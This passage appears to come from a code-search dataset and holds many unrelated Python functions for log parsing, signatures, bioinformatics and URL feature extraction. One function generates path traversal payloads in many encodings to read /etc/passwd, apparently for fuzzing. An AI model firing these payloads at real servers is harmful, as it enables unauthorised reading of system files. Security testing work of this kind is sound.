token ):\n\n # Create the segment and initialize it's fields\n ann = annotation.Annotation()\n\n ann.annid = int(fields[0])\n\n # Exceptional cases\n if ann.annid in EXCEPTIONS:\n print \"Skipping id \", ann.annid\n return \n\n descriptorstr = fields[40].split(\"\\\"\")\n descriptor = descriptorstr[1]\n\n ann.kvpairs = { 'sourceId':fields[0], 'sourceDescription':descriptor }\n ann.author = 'Kasthuri,N.'\n\n pprint(vars(ann))\n\n h5anno = h5ann.AnnotationtoH5 ( ann )\n\n url = \"http://%s/annotate/%s/\" % ( baseurl, token)\n print url\n\n try:\n req = urllib2.Request ( url, h5anno.fileReader()) \n response = urllib2.urlopen(req)\n except urllib2.URLError, e:\n print \"Failed URL\", url\n print \"Error %s\" % (e.read()) \n sys.exit(0)\n\n the_page = response.read()\n print \"Success with id %s\" % the_page","def generate_signature(cls, secret, verb, url, nonce, data):\n # Parse the url so we can remove the base and extract just the path.\n parsedURL = urlparse(url)\n path = parsedURL.path\n if parsedURL.query:\n path = path + '?' + parsedURL.query\n\n # print \"Computing HMAC: %s\" % verb + path + str(nonce) + data\n message = verb + path + str(nonce) + data\n\n signature = hmac.new(bytes(secret, 'utf8'), bytes(message, 'utf8'), digestmod=hashlib.sha256).hexdigest()\n return signature","def get_pub_scores(self, subset='auth_all'):\n from nltk.corpus import stopwords\n from nltk.tokenize import word_tokenize\n import csv\n from difflib import SequenceMatcher\n import jellyfish\n# self.sanity_check()\n\n if subset == 'auth_top':\n pubs = self.pub_auth_top['pub']\n elif subset == 'auth_all':\n pubs = self.pub_auth_all['pub']\n elif subset == 'inst_top':\n pubs = self.pub_inst_top['pub']\n elif subset == 'inst_all':\n pubs = self.pub_inst_all['pub']\n\n # load publication metrics\n\n # download stowords the first time\n def similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\n def get_q(s):\n q = 0\n if \"Q4\" in s:\n q = 4\n if \"Q3\" in s:\n q = 3\n if \"Q2\" in s:\n q = 2\n if \"Q1\" in s:\n q = 1\n return q\n\n stop_words = set(stopwords.words('english'))\n\n journals = []\n with open('scimagojr.csv', newline='') as csvfile:\n s = csv.reader(csvfile, delimiter=';')\n for row in s:\n jname = row[2].lower()\n word_tokens = word_tokenize(jname)\n fname = [w for w in word_tokens if w not in stop_words]\n sent1 = ' '.join(fname)\n sent1 = sent1.replace('/', '')\n row[2] = sent1\n journals.append(row)\n\n Q = []\n for p in pubs:\n jname = p.lower()\n word_tokens = word_tokenize(jname)\n fname = [w for w in word_tokens if w not in stop_words]\n sent1 = ' '.join(fname)\n sent1 = sent1.replace('/', '')\n\n match = 0\n J = \"\"\n for Journal in journals:\n journal = Journal[2]\n s1 = similar(sent1, journal)\n s2 = jellyfish.jaro_winkler(sent1, journal)\n if s1 > 0.9 and s2 > 0.9:\n match += 1\n J = Journal[-1]\n Q.append(get_q(J))\n\n if subset == 'auth_top':\n self.pub_auth_top['Q'] = Q\n elif subset == 'auth_all':\n self.pub_auth_all['Q'] = Q\n elif subset == 'inst_top':\n self.pub_inst_top['Q'] = Q\n elif subset == 'inst_all':\n self.pub_inst_all['Q'] = Q"],"string":"[\n \"def run_stats():\\r\\n\\r\\n time_signature = {}\\r\\n time_verification = {}\\r\\n\\r\\n # this should speed up things\\r\\n message = \\\"Alice, send me 100 bucks. --Bob\\\"\\r\\n message = long(sha256(message).hexdigest(), 16)\\r\\n\\r\\n curvas = [(i, getattr(nist_curves, i)) for i in dir(nist_curves) if\\r\\n i.startswith(\\\"point_p\\\")]\\r\\n\\r\\n for name, point in curvas:\\r\\n priv_key, pub_key = generate_key_pair(point)\\r\\n time_signature[name] = []\\r\\n time_verification[name] = []\\r\\n\\r\\n for i in xrange(30):\\r\\n r, s = sign(message, point, priv_key, time_signature[name])\\r\\n status = verify(r, s, message, point, pub_key,\\r\\n time_verification[name])\\r\\n\\r\\n print \\\"%s done\\\" % (name, )\\r\\n\\r\\n return (time_signature, time_verification)\",\n \"def domain_parser():\\n\\tinput_handle=\\\"blast_hits.fasta\\\"\\n\\t# File with: (1) the domains of each hit and (2) domains information\\n\\tdomains= \\\"domains_hits.txt\\\"\\n\\toutput_handle = open(domains, \\\"w\\\")\\n\\toutput_handle.write(\\\"#This file contains the domains of each hit.\\\\n#At the bottom, you will find detail information of all the domains detected.\\\\n\\\")\\n\\toutput_handle.write(\\\"#We strongly recommend to open this file with Visual Studio Code.\\\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\\\n\\\")\\n\\toutput_handle.write(\\\"#Here it is only showed how many times a pattern is present.\\\\n#In the figure of the domains you will find the position of each domain.\\\\n\\\\n\\\")\\n\\taccession_list=[] \\t# List of prosite.doc accessions of the domains that had been found\\n\\tdomains_dict=dict() # dictionary that saves matches\\n\\tcount=1\\n\\tmax_seq_len=0 # Keep larger sequence to plot x-axe\\n\\t# Loop to go through hits\\n\\tfor seq_record in SeqIO.parse(input_handle, \\\"fasta\\\"):\\n\\t\\toutput_handle.write(str(seq_record.id)+\\\"\\\\n\\\") # print identifier of the hit\\n\\t\\toutput_handle.write(str(seq_record.seq)+\\\"\\\\n\\\") # print sequence of the hit\\n\\t\\tif len(seq_record.seq)>max_seq_len:\\n\\t\\t\\tmax_seq_len=len(seq_record.seq)\\n\\t\\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\\n\\t\\tx=PrettyTable()\\n\\t\\tx.field_names=[\\\"name\\\",\\\"accession\\\",\\\"description\\\",\\\"pattern\\\",\\\"repetitions\\\"]\\n\\n\\t\\t# Loop to go through prosite domains\\n\\t\\thandle = open(\\\"prosite.dat\\\",\\\"r\\\")\\n\\t\\trecords = Prosite.parse(handle)\\n\\t\\tfor record in records:\\n\\t\\t\\t# prosite.dat preparation for parsing\\n\\t\\t\\t# {} -> [^]\\n\\t\\t\\tpattern = record.pattern.upper()\\n\\t\\t\\tpattern = pattern.replace(\\\"{\\\", \\\"[^\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\"}\\\", \\\"]\\\")\\t\\n\\t\\t\\t# - -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"-\\\", \\\"\\\")\\t\\n\\t\\t\\t# . -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\".\\\", \\\"\\\")\\t\\n\\t\\t\\t# X|x -> \\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tAAS=\\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"x\\\", AAS)\\n\\t\\t\\tpattern = pattern.replace(\\\"X\\\", AAS)\\t\\n\\t\\t\\t# () -> {}\\n\\t\\t\\tpattern = pattern.replace(\\\"(\\\", \\\"{\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\")\\\", \\\"}\\\")\\t\\n\\n\\t\\t\\t# >] -> ]?$\\n\\t\\t\\tpattern = pattern.replace(\\\">]\\\", \\\"]?$\\\")\\t\\n\\n\\t\\t\\t# < -> ^\\n\\t\\t\\t# > -> $\\n\\t\\t\\tpattern = pattern.replace(\\\"<\\\", \\\"^\\\")\\t\\n\\t\\t\\tpattern = pattern.replace(\\\">\\\", \\\"$\\\")\\t\\n\\t\\t\\tif pattern != \\\"\\\":\\n\\t\\t\\t\\t# Look if the hit contains the current patter\\n\\t\\t\\t\\tif re.search(r\\\"\\\"+str(pattern), str(seq_record.seq).upper()): # if found\\n\\t\\t\\t\\t\\tif record.pdoc not in accession_list:\\n\\t\\t\\t\\t\\t\\t# Save pdoc accession in the list of prosite.doc accessions\\n\\t\\t\\t\\t\\t\\t# if it is not already\\n\\t\\t\\t\\t\\t\\taccession_list.append(record.pdoc)\\n\\t\\t\\t\\t\\tmatches = re.finditer(r\\\"\\\"+str(pattern), str(seq_record.seq).upper())\\n\\t\\t\\t\\t\\treps=0\\n\\t\\t\\t\\t\\tfor match in matches: # save all matches in a dictionary to plot them later\\n\\t\\t\\t\\t\\t\\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\\n\\t\\t\\t\\t\\t\\tcount=count+1\\n\\t\\t\\t\\t\\t\\treps=reps+1\\n\\t\\t\\t\\t\\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\\n\\n\\t\\toutput_handle.write(str(x)+\\\"\\\\n\\\") # add table of hit to domains_hits.txt\\n\\n\\t# At the end of the tables, print information of all the domains that had been found\\n\\toutput_handle.write(\\\"\\\\n\\\")\\n\\trecord_text_list=DocParser(accession_list)\\n\\tfor text in record_text_list:\\n\\t\\toutput_handle.write(text)\\n\\treturn (domains_dict,max_seq_len,accession_list)\",\n \"def analyzeFile():\\n totalMalware = 0\\n logFile = open(\\\"postLog_{0}_{1}.txt\\\".format(os.path.splitext(path)[0], dateTimeNow), \\\"r+\\\")\\n #print(\\\"Analyzing and saving to file.\\\")\\n tempLog = logFile.read()\\n for line in tempLog.splitlines()[:]:\\n if line == \\\"malware\\\":\\n totalMalware += 1\\n analysis = (\\\"\\\\nMalware Associated URLs: \\\" + str((totalMalware / (totalCount)) * 100) + \\\"% \\\"\\n + str(totalMalware) + \\\" / \\\" + str(totalCount) + \\\"\\\\nValid URLs: \\\" +\\n str(((totalCount - totalMalware) / (totalCount)) * 100) + \\\"% \\\" + str(totalCount - totalMalware) +\\n \\\" / \\\" + str(totalCount))\\n logFile.write(analysis)\\n #close files\\n logFile.close()\",\n \"def analysis(file):\\n\\n fields = []\\n\\n with open(file) as f:\\n lines = f.readlines()\\n rows = len(lines)\\n filesize = sum([len(line) for line in lines])\\n\\n tmp = []\\n\\n for line in lines[8:len(lines)-1]:\\n fs = line.strip().split('\\\\t')\\n\\n \\\"\\\"\\\"\\n fields:\\n ts\\n uid\\n id.orig_h\\n id.orig_p\\n id.resp_h\\n id.resp_p\\n proto\\n trans_id\\n query\\n qclass\\n qclass_name\\n qtype\\n qtype_name\\n rcode\\n rcode_name\\n AA\\n TC\\n RD\\n RA\\n Z\\n answersTTLs\\n rejected\\n \\\"\\\"\\\"\\n\\n tmp.append(fs[N])\\n\\n #print(log, rows, ','.join(methods))\\n\\n # time intervals\\n #tss_sorted = sorted(map(float,tmp))\\n #tss_sorted = map(float, tmp)\\n #intervals = map(int,[tss_sorted[i+1]-tss_sorted[i] for i in range(len(tss_sorted)-1)])\\n #print('%s %s' % (log, ' '.join(map(str,intervals))))\\n #file = urlparse(fs[N]).path.split('/')[-1].split('.')\\n #if len(file)>1:\\n # tmp.append(file[-1])\\n #tmp.append(urlparse(fs[N]).path.split('/')[-1])\\n #tmp.append(urlparse(fs[N]).path)\\n\\n #fields.append(set(tmp))\\n #fields.append(intervals)\\n fields.append(tmp)\\n\\n\\n dic = {}\\n for i in fields:\\n for j in i:\\n if j in dic:\\n dic[j] += 1\\n else:\\n dic[j] = 1\\n ls = sorted(dic.items(), lambda x,y: cmp(x[1], y[1]), reverse = True)\\n for i in range(len(ls)):\\n print('%s\\\\t%s' %(ls[i][0], ls[i][1]))\\n #print('%s' % join(ls[i][1]))\",\n \"def get_hits_by_domain():\\n \\n #PUT THIS HERE TO TRY AND RUN THE PYTHON SCRIPT AS ROOT, DIDN'T WORK\\n uid = pwd.getpwnam('root')[2]\\n os.setuid(uid)\\n\\n #DEFINE VARS\\n nlogdir = '/var/log/nginx/'\\n alogdir = '/var/log/httpd/'\\n hits_by_domain = {}\\n\\n try:\\n #GET NGINX LOGS\\n nfiles = [f for f in os.listdir(nlogdir) if re.match(r'^(?!default)(.+access.log)$', f)]\\n\\n for i, s in enumerate(nfiles):\\n nfiles[i] = os.path.join(nlogdir, s)\\n\\n #GET APACHE LOGS\\n afiles = [f for f in os.listdir(alogdir) if re.match(r'^(?!.+_)(.+\\\\.access.log)$', f)]\\n\\n for i, s in enumerate(afiles):\\n afiles[i] = os.path.join(alogdir, s)\\n\\n #COUNT NGINX HITS\\n for f in nfiles:\\n nregex = \\\"(\\\"+str(nlogdir)+\\\")(.+?)(.access.log)\\\"\\n domain = re.search(nregex, f)\\n count = 0\\n for line in open(f).xreadlines():\\n count +=1\\n hits_by_domain[domain.group(2)] = count\\n\\n #COUNT APACHE HITS\\n for f in afiles:\\n aregex = \\\"(\\\"+str(alogdir)+\\\")(.+?)(.access.log)\\\"\\n domain = re.search(aregex, f)\\n count = 0\\n for line in open(f).xreadlines():\\n count +=1\\n hits_by_domain[domain.group(2)] = count\\n\\n return hits_by_domain\\n\\n except Exception as e:\\n collectd.info(str(e))\\n return\",\n \"def process(self, incomings):\\n\\n payloads = []\\n\\n payloads.append([\\\"../../../../../../../../var/www/attacker.com/public_html/\\\", \\\"image.jpg\\\"])\\n payloads.append([\\\"L2V0Yy9wYXNzd2Q=\\\"])\\n payloads.append([\\\"TDJWMFl5OXdZWE56ZDJRPQ%3D%3D\\\"])\\n\\n #Contains the various types of directory pathing\\n #%2f = / || %2e = . || %252f = / || '%255c' = \\\\\\n list_of_postfix_1 = ['/etc','/etc/', '/etc/passwd', '%2fetc%2fpasswd','/etc/passwd%00index.html', '/etc/passwd;index.html','//etc//passwd','L2V0Yy9wYXNzd2Q%3D']\\n list_of_prefix = ['../','..././','./../','.../','..../','...//','....\\\\\\\\/','..../\\\\\\\\\\\\\\\\']\\n\\n #Print just the postfix\\n for post_style in list_of_postfix_1:\\n payloads.append([post_style])\\n\\n #New Postfix array (Without the last '/')\\n list_of_postfix = ['','etc/passwd']\\n\\n #For extended file paths (Non-encoded)\\n for post_style in list_of_postfix:\\n for pre_style in list_of_prefix:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Double-slashed)\\n list_of_postfix_doubleslash = ['','etc//passwd']\\n list_of_prefix_doubleslash = ['..//']\\n\\n for post_style in list_of_postfix_doubleslash:\\n for pre_style in list_of_prefix_doubleslash:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Encoded)\\n list_of_postfix_encoded = ['','etc%2fpasswd']\\n list_of_prefix_encoded = ['%2e%2e%2f']\\n\\n for post_style in list_of_postfix_encoded:\\n for pre_style in list_of_prefix_encoded:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Doubly-encoded)\\n list_of_postfix_d_encoded = ['','etc%252fpasswd']\\n list_of_prefix_d_encoded = ['%252e%252e%252f']\\n\\n for post_style in list_of_postfix_d_encoded:\\n for pre_style in list_of_prefix_d_encoded:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Other UTF-8)\\n list_of_postfix_utf8_encoded = ['','etc%25c0%25afpasswd']\\n list_of_prefix_utf8_encoded = ['%25c0%25ae%25c0%25ae%25c0%25af']\\n\\n for post_style in list_of_postfix_utf8_encoded:\\n for pre_style in list_of_prefix_utf8_encoded:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Other UTF-8) 2\\n list_of_postfix_utf8_encoded2 = ['','etc%c0%afpasswd']\\n list_of_prefix_utf8_encoded2 = ['%c0%ae%c0%ae%c0%af']\\n\\n for post_style in list_of_postfix_utf8_encoded2:\\n for pre_style in list_of_prefix_utf8_encoded2:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n # For extended file paths (Other UTF-8) 3\\n '''\\n list_of_postfix_utf8_encoded3 = ['','etc%u2215passwd']\\n list_of_prefix_utf8_encoded3 = ['%uff0e%uff0e%u2215']\\n\\n for post_style in list_of_postfix_utf8_encoded3:\\n for pre_style in list_of_prefix_utf8_encoded3:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n '''\\n\\n #For extended file paths (Other UTF-8) 4\\n list_of_postfix_utf8_encoded4 = ['','etc%c0%2fpasswd']\\n list_of_prefix_utf8_encoded4 = ['%c0%2e%c0%2e%c0%2f']\\n\\n for post_style in list_of_postfix_utf8_encoded4:\\n for pre_style in list_of_prefix_utf8_encoded4:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Other UTF-8) 5\\n list_of_postfix_utf8_encoded5 = ['','etc%uEFC8passwd']\\n list_of_prefix_utf8_encoded5 = ['..%uEFC8']\\n\\n for post_style in list_of_postfix_utf8_encoded5:\\n for pre_style in list_of_prefix_utf8_encoded5:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #For extended file paths (Hex)\\n list_of_postfix_hex = ['']\\n list_of_prefix_hex = ['0x2e0x2e0x2f']\\n\\n for post_style in list_of_postfix_hex:\\n for pre_style in list_of_prefix_hex:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n #Start from longest path\\n payloads.append([curr_file_path])\\n\\n #2-part Inputs\\n list_of_second_input = ['passwd']\\n\\n #Do it with postfix_1 first\\n for post_style in list_of_postfix_1:\\n for second_input in list_of_second_input:\\n payloads.append([post_style, second_input])\\n\\n #New Postfix array (Without the last '/')\\n list_of_postfix_2 = ['etc','etc/']\\n\\n for second_input in list_of_second_input:\\n for post_style in list_of_postfix_2:\\n for pre_style in list_of_prefix:\\n curr_file_path = post_style;\\n for times in range(0,15):\\n curr_file_path = pre_style + curr_file_path;\\n payloads.append([curr_file_path, second_input])\\n\\n return payloads\",\n \"def analysis(N):\\n\\n http_log_paths = get_http_logs()\\n\\n httplogs = []\\n\\n for path in http_log_paths:\\n file = path+'/http.log'\\n if os.path.isfile(file):\\n httplogs.append(file)\\n else:\\n pass #print(path)\\n\\n fields = []\\n\\n for log in httplogs:\\n with open(log) as f:\\n lines = f.readlines()\\n rows = len(lines)\\n filesize = sum([len(line) for line in lines])\\n\\n tss = [] # time series\\n methods = []\\n uris = []\\n uas = []\\n request_body_lens = []\\n response_body_lens = []\\n status_codes = []\\n filenames = []\\n\\n tmp = []\\n\\n for line in lines[8:len(lines)-1]:\\n fs = line.strip().split('\\\\t')\\n\\n \\\"\\\"\\\"\\n ts = fileds[0]\\n uid = fileds[1]\\n orig_h = fileds[2]\\n orig_p = fileds[3]\\n resp_h = fileds[4]\\n resp_p = fileds[5]\\n trans_depth = fileds[6]\\n method = fileds[7]\\n host = fileds[8]\\n uri = fileds[9]\\n referrer = fileds[10]\\n user_agent = fileds[11]\\n request_body_len = fileds[12]\\n response_body_len = fileds[13]\\n status_code = fileds[14]\\n status_msg = fileds[15]\\n info_code = fileds[16]\\n info_msg = fileds[17]\\n filename = fileds[18]\\n tags = fileds[19]\\n username = fileds[20]\\n password = fileds[21]\\n proxied = fileds[22]\\n orig_fuids = fileds[23]\\n orig_mime_types = fileds[24]\\n resp_fuids = fileds[25]\\n resp_mime_types = fileds[26]\\n\\n tss.append(ts)\\n methods.append(method)\\n uris.append(uri)\\n uas.append(user_agent)\\n request_body_lens.append(request_body_len)\\n response_body_lens.append(response_body_len)\\n status_codes.append(status_code)\\n filenames.append(filename)\\n \\\"\\\"\\\"\\n\\n tmp.append(fs[N])\\n\\n #print(log, rows, ','.join(methods))\\n\\n # time intervals\\n #tss_sorted = sorted(map(float,tmp))\\n #tss_sorted = map(float, tmp)\\n #intervals = map(int,[tss_sorted[i+1]-tss_sorted[i] for i in range(len(tss_sorted)-1)])\\n #print('%s %s' % (log, ' '.join(map(str,intervals))))\\n #file = urlparse(fs[N]).path.split('/')[-1].split('.')\\n #if len(file)>1:\\n # tmp.append(file[-1])\\n #tmp.append(urlparse(fs[N]).path.split('/')[-1])\\n #tmp.append(urlparse(fs[N]).path)\\n\\n #fields.append(set(tmp))\\n #fields.append(intervals)\\n fields.append(tmp)\\n\\n\\n dic = {}\\n for i in fields:\\n for j in i:\\n if j in dic:\\n dic[j] += 1\\n else:\\n dic[j] = 1\\n ls = sorted(dic.items(), lambda x,y: cmp(x[1], y[1]), reverse = True)\\n for i in range(len(ls)):\\n print('%s\\\\t%s' %(ls[i][0], ls[i][1]))\\n #print('%s' % join(ls[i][1]))\\n\\n\\n \\\"\\\"\\\"\\n col = []\\n for i in fields:\\n for j in i:\\n col.append(j)\\n print('%s' % ' '.join(map(str,col)))\\n \\\"\\\"\\\"\\n\\n\\n \\\"\\\"\\\"\\n dic = {}\\n for i in fields:\\n for j in i:\\n sub = j.split('.')\\n if sub[0] in dic:\\n dic[sub[0]] += 1\\n else:\\n dic[sub[0]] = 1\\n\\n\\n if len(sub) > 1:\\n if sub[-2]+'.'+sub[-1] in dic:\\n dic[sub[-2]+'.'+sub[-1]] += 1\\n else:\\n dic[sub[-2]+'.'+sub[-1]] = 1\\n\\n\\n ls = sorted(dic.items(), lambda x, y: cmp(x[1], y[1]), reverse=True)\\n for i in range(len(ls)):\\n print('%s\\\\t%s' % (ls[i][0], ls[i][1]))\\n # print('%s' % join(ls[i][1]))\\n\\n \\\"\\\"\\\"\",\n \"def main():\\n print \\\"Parsing web log...\\\"\\n log = parse_weblog(WEBLOG_FILEPATH)\\n print \\\"Keeping only store page entries...\\\"\\n store_page_entries = keep_only_store_page(log)\\n print \\\"Grouping entries by domain...\\\"\\n store_pages = hash_entries(store_page_entries) \\n print \\\"Calculating bounce rates for each store page...\\\"\\n bounce_rates = compute_bounce_rate(store_pages)\\n print \\\"Saving results to file...\\\"\\n save_as_csv(bounce_rates, OUTPUT_PATH)\",\n \"def find_signatures(word_counts):\\n\\n # Find protostems.\\n protostems = find_protostems(word_counts) \\n\\n # List all possible continuations of each protostem...\\n continuations = collections.defaultdict(list)\\n for word in word_counts.keys():\\n for protostem in protostems:\\n if word.startswith(protostem):\\n continuations[protostem].append(word[len(protostem):])\\n\\n # Find all stems associated with each continuation list...\\n protostem_lists = collections.defaultdict(set)\\n for protostem, continuation in continuations.items():\\n protostem_lists[tuple(sorted(continuation))].add(protostem)\\n\\n # Signatures are continuation lists with more than 1 stem...\\n signatures = collections.defaultdict(set)\\n parasignatures = dict()\\n for continuations, protostems in protostem_lists.items():\\n container = signatures if len(protostems) > 1 else parasignatures\\n container[continuations] = protostems\\n\\n # Get list of known suffixes from signatures...\\n known_suffixes = set()\\n for suffixes in signatures:\\n known_suffixes = known_suffixes.union(suffixes)\\n\\n # Second generation tentative signatures are parasignatures stripped\\n # from unknown suffixes and having at least 2 continuations...\\n tentative_signatures = collections.defaultdict(set)\\n for continuations, protostems in parasignatures.items():\\n good_conts = sorted(c for c in continuations if c in known_suffixes)\\n if len(good_conts) > 1:\\n tentative_signatures[tuple(good_conts)].add(next(iter(protostems)))\\n\\n # Add those tentative signatures which occur with at least 2 stems...\\n single_stem_sigs = collections.defaultdict(set)\\n for continuations, protostems in tentative_signatures.items():\\n container = signatures if len(protostems) > 1 else single_stem_sigs\\n container[continuations] = container[continuations].union(protostems)\\n\\n # Add each stem in remaining tentative signatures to the existing\\n # signature that contains the largest number of its continuations...\\n sorted_signatures = sorted(signatures, key=len, reverse=True)\\n for continuations, protostems in single_stem_sigs.items():\\n continuation_set = set(continuations)\\n for suffixes in sorted_signatures:\\n if set(suffixes).issubset(continuation_set):\\n signatures[suffixes].add(next(iter(protostems)))\\n break\\n\\n # Get list of known stems from signatures...\\n known_stems = set()\\n for stems in signatures.values():\\n known_stems = known_stems.union(stems)\\n\\n return signatures, stems, suffixes\",\n \"def summarize(url: str, check_rate_limit: bool = True) -> Dict[str, Any]:\\n try:\\n split_url = urlsplit(url)\\n if 'github.com' in split_url.hostname:\\n return github_issue(url, check_rate_limit)\\n elif 'stackoverflow.com' in split_url.hostname:\\n return stackoverflow_question(url, check_rate_limit)\\n except Exception:\\n pass\\n\\n return {}\",\n \"def calculate_client_signature(self):\\n # NB: do not check for self.user_agent, because it can be empty.\\n if self.ip_address and self.path_qs:\\n resource = self.path_qs\\n user_agent = self.user_agent\\n key_max_size = 250\\n\\n # At least 40 characters are allocated to the resource part.\\n res_min_size = 40\\n res_max_size = key_max_size - len(self.ip_address) - len(\\n resource) - 2\\n\\n if res_max_size < res_min_size:\\n res_max_size = res_min_size\\n\\n if len(resource) > res_max_size:\\n resource = resource[:res_max_size]\\n\\n # The remaining length is available for the User Agent part\\n ua_max_size = (\\n key_max_size - len(self.ip_address) - len(resource) - 2)\\n if len(user_agent) > ua_max_size:\\n user_agent = user_agent[:ua_max_size]\\n\\n key = \\\"%s#%s#%s\\\" % (self.ip_address, user_agent, resource)\\n\\n return key\\n return ''\",\n \"def analysis_summary(bucket_url, replay):\\n\\n logger = logging.getLogger(\\\"SimpleReplayLogger\\\")\\n\\n bucket = bucket_dict(bucket_url)\\n logger.info(f\\\"Simple Replay Workload Analysis: {replay}\\\")\\n replay_path = f'analysis/{replay}/out/'\\n output_str = f\\\"\\\\nBelow is the presigned URLs for the analysis performed for replay: {replay}. \\\" \\\\\\n f\\\"Click or copy/paste the link into your browser to download.\\\"\\n r_url = create_presigned_url(bucket.get('bucket_name'), f'{replay_path}{replay}_report.pdf')\\n output_str += f\\\"\\\\n\\\\nReplay Analysis Report | Click to Download:\\\\n{r_url}\\\\n\\\"\\n logger.info(output_str)\",\n \"def main():\\n inputs = []\\n files = set()\\n\\n args = parseArguments()\\n\\n # Configure the stdout logger\\n logging.basicConfig(format=\\\"%(filename)s: %(levelname)s: %(message)s\\\",\\n level=logging.DEBUG)\\n\\n try:\\n # Create a list of input format objects\\n for gcsv in args.gcsv.split():\\n inputs.append(GoogleCSV(gcsv))\\n for plain in args.plain.split():\\n inputs.append(Plain(plain))\\n\\n # Get the URLs\\n urls = mergeURLS(inputs)\\n\\n # Get the files\\n for dir in args.dirs.split():\\n files = files.union(formatFiles(dir, args.utc, args.ext))\\n\\n # Search for matches\\n redirects = fuzzySearch(urls, files, args.matches, args.cutoff)\\n\\n except Exception as e:\\n logging.error(e)\\n\\n if args.output == \\\"csv\\\":\\n out = CSV(redirects, args.subdomain)\\n elif args.output == \\\"rack\\\":\\n out = Rack(redirects, args.subdomain)\\n else:\\n out = OutputFormat(redirects, args.subdomain)\\n\\n print(out)\",\n \"def analyze(url):\\n\\n #Note : Using the function to count repeated words and sorted by value\\n\\n print('\\\\n\\\\nVisiting',url)\\n print('The most 25 common word')\\n print('\\\\n{:30} {:6}\\\\n'.format('Word','Count'))\\n\\n content = urlopen(url).read().decode()\\n collector = Collector(url)\\n collector.feed(content)\\n urls = collector.getLinks()\\n\\n words_lst = collector.getdata()\\n print(words_lst)\\n # word_count = Counter(words_lst) # use collection\\n # most_25_common = word_count.most_common(25) #\\n\\n word_count = frequency(words_lst)\\n sorted_word_count = sorted(word_count.items(), key = lambda x : x[1],reverse= True)\\n\\n for word,count in sorted_word_count[:25]:\\n print ('{:30}{:5}'.format(word,count))\\n\\n #return word_count\\n\\n # for word,count in most_25_common:\\n # print('{:30} {:5}'.format(word,count))\\n # return urls\",\n \"def split2_urls_in_url(url):\\n list_good = split1_urls_in_url(url)[0]\\n if len(list_good) > 1:\\n list_to_return = []\\n for elt in list_good:\\n list_to_return += loop_on_good_url(elt)\\n return \\\"Directyl found\\\", list_to_return\\n else:\\n return class_frequencies(url)\",\n \"def getFeatures(url, label, w):\\r\\n result = []\\r\\n url = str(url)\\r\\n \\r\\n #add the url to feature set\\r\\n result.append(url)\\r\\n \\r\\n #parse the URL and extract the domain information\\r\\n path = urlparse(url)\\r\\n ext = tldextract.extract(url)\\r\\n \\r\\n #counting number of dots in subdomain \\r\\n result.append(countdots(ext.subdomain))\\r\\n \\r\\n #checking hyphen in domain \\r\\n result.append(CountSoftHyphen(path.netloc))\\r\\n \\r\\n #length of URL \\r\\n result.append(length(url))\\r\\n \\r\\n #checking @ in the url \\r\\n result.append(CountAt(path.netloc))\\r\\n \\r\\n #checking presence of double slash \\r\\n result.append(CountDSlash(path.path))\\r\\n \\r\\n #Count number of subdir \\r\\n result.append(countSubDir(path.path))\\r\\n \\r\\n #number of sub domain \\r\\n result.append(countSubDomain(ext.subdomain))\\r\\n \\r\\n #length of domain name \\r\\n path2 = urlparse(url_format(url))\\r\\n result.append(len(path2.netloc))\\r\\n \\r\\n #count number of queries \\r\\n result.append(len(path.query))\\r\\n \\r\\n #Adding domain information\\r\\n \\r\\n #if IP address is being used as a URL \\r\\n result.append(containsip(ext.domain))\\r\\n \\r\\n #presence of Suspicious_TLD\\r\\n result.append(1 if ext.suffix in Suspicious_TLD else 0)\\r\\n \\r\\n #Get domain information by asking whois\\r\\n avg_month_time=365.2425/12.0\\r\\n \\r\\n #calculate creation age in months\\r\\n \\r\\n if w.creation_date == None or type(w.creation_date) is str :\\r\\n result.append(-1)\\r\\n \\r\\n else:\\r\\n if(type(w.creation_date) is list): \\r\\n create_date=w.creation_date[-1]\\r\\n else:\\r\\n create_date=w.creation_date\\r\\n\\r\\n if(type(create_date) is datetime.datetime):\\r\\n today_date=datetime.datetime.now()\\r\\n create_age_in_mon=((today_date - create_date).days)/avg_month_time\\r\\n create_age_in_mon=round(create_age_in_mon)\\r\\n result.append(create_age_in_mon)\\r\\n \\r\\n else:\\r\\n result.append(-1)\\r\\n \\r\\n #calculate expiry age in months\\r\\n \\r\\n if(w.expiration_date==None or type(w.expiration_date) is str):\\r\\n result.append(-1)\\r\\n 